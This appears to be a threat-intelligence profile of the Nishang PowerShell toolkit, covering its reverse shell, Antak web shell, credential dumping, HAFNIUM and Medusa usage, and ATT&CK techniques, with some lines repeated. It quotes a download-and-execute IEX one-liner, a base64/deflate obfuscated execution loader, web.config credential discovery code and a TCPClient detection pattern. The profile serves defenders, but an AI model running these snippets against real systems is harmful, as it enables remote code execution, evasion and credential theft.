Nishang
- Type
- RAT
- Capabilities
- Credential theftPersistenceLateral movementPost exploitationReconnaissance
- Platforms
- Windows
Nishang is a PowerShell-based offensive security toolkit comprising scripts and payloads for penetration testing and post-exploitation on Windows systems. Its capabilities include reconnaissance, persistence, lateral movement, credential harvesting, and remote command execution. It is a collection of tools rather than a single malware payload, and threat actors abuse its components alongside other intrusion utilities.
Nishang includes a TCP reverse-shell utility that initiates an outbound connection to an attacker-controlled command-and-control server, enabling remote interaction with a compromised system. Its Get-PassHashes script extracts password hashes and requires existing administrator privileges. The toolkit also includes Antak, an ASPX web shell.
HAFNIUM, also tracked as Ant, deployed Nishang as a post-compromise tool during exploitation of on-premises Microsoft Exchange servers in 2021. Nishang has also been observed in Medusa ransomware intrusions, where attackers used Get-PassHashes for credential dumping. These deployments establish its use in both state-sponsored intrusion activity and financially motivated ransomware operations.
Associated vulnerabilities
4 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
66 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.
Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.
The following analytic detects the use of the Nishang Invoke-PowerShellTCPOneLine utility, which initiates a callback to a remote Command and Control (C2) server.
The following analytic detects the use of the Nishang Invoke-PowerShellTCPOneLine utility, which initiates a callback to a remote Command and Control (C2) server.
The following analytic detects the use of the Nishang Invoke-PowerShellTCPOneLine utility, which initiates a callback to a remote Command and Control (C2) server.
The following analytic detects the use of the Nishang Invoke-PowerShellTCPOneLine utility, which initiates a callback to a remote Command and Control (C2) server.
+60 more in the app. View in Mallory
Techniques & procedures
14 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
1 technique
Resource Development
The HAFNIUM threat group uses the following tools to help its post-compromise behaviors.
Execution
2 techniques
Execution
Tools discovered may be pentest-utilities, for tunneling (SOCKS or other), reconnaissance scanners, exploitation code, reverse shells, malware loaders or trojans. The tools Procdump, Nishang and Powercat have been reported to be used by the HAFNIUM threat actor group according to Microsoft.
psi.FileName = "powershell.exe"; psi.Arguments = "-noninteractive " + "-executionpolicy bypass " + arg; | Use powershell one-liner (example below) for download & execute in the command box. IEX ((New-Object Net.WebClient).DownloadString('URL to script here')); [Arguments here]
Persistence
1 technique
Persistence
Antak - A Webshell which utilizes PowerShell.
Stealth
2 techniques
Stealth
Paste the script in command textbox and click 'Encode and Execute'.
string code = Convert.ToBase64String(ms.ToArray()); string command = "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('" + code + "')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();";
Credential Access
1 technique
Credential Access
Click on 'Parse Web.Config' button to get dabase connection string. By default, Antak looks for web.config in the C:\Inetpub directory.
Discovery
3 techniques
Discovery
Foreach ($file in (get-childitem $path -Filter web.config -Recurse))
The exploitation has predominantly been in the form of semi-automatic installation of webshells that seems to leave backdoors for future access, or more manual by using tools to first gather credentials and system information followed by lateral movement and further compromise.
$aspnet_regiis = (get-childitem $env:windir\microsoft.net\ -Filter aspnet_regiis.exe -recurse | select-object -last 1).FullName
Command and Control
3 techniques
Command and Control
Tools discovered may be pentest-utilities, for tunneling (SOCKS or other), reconnaissance scanners, exploitation code, reverse shells, malware loaders or trojans.
PowerShell [T1059.001] is used in this intrusion activity in import tools [T1105]
Nishang PowershellTCPOneLine ... (CommandLine=*Net.Sockets.TCPClient* AND CommandLine=*System.Text.ASCIIEncoding*)
Exfiltration
1 technique
Exfiltration
To download a file enter the actual path on the server in command textbox. Then click on Download button.
Recent activity
7 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.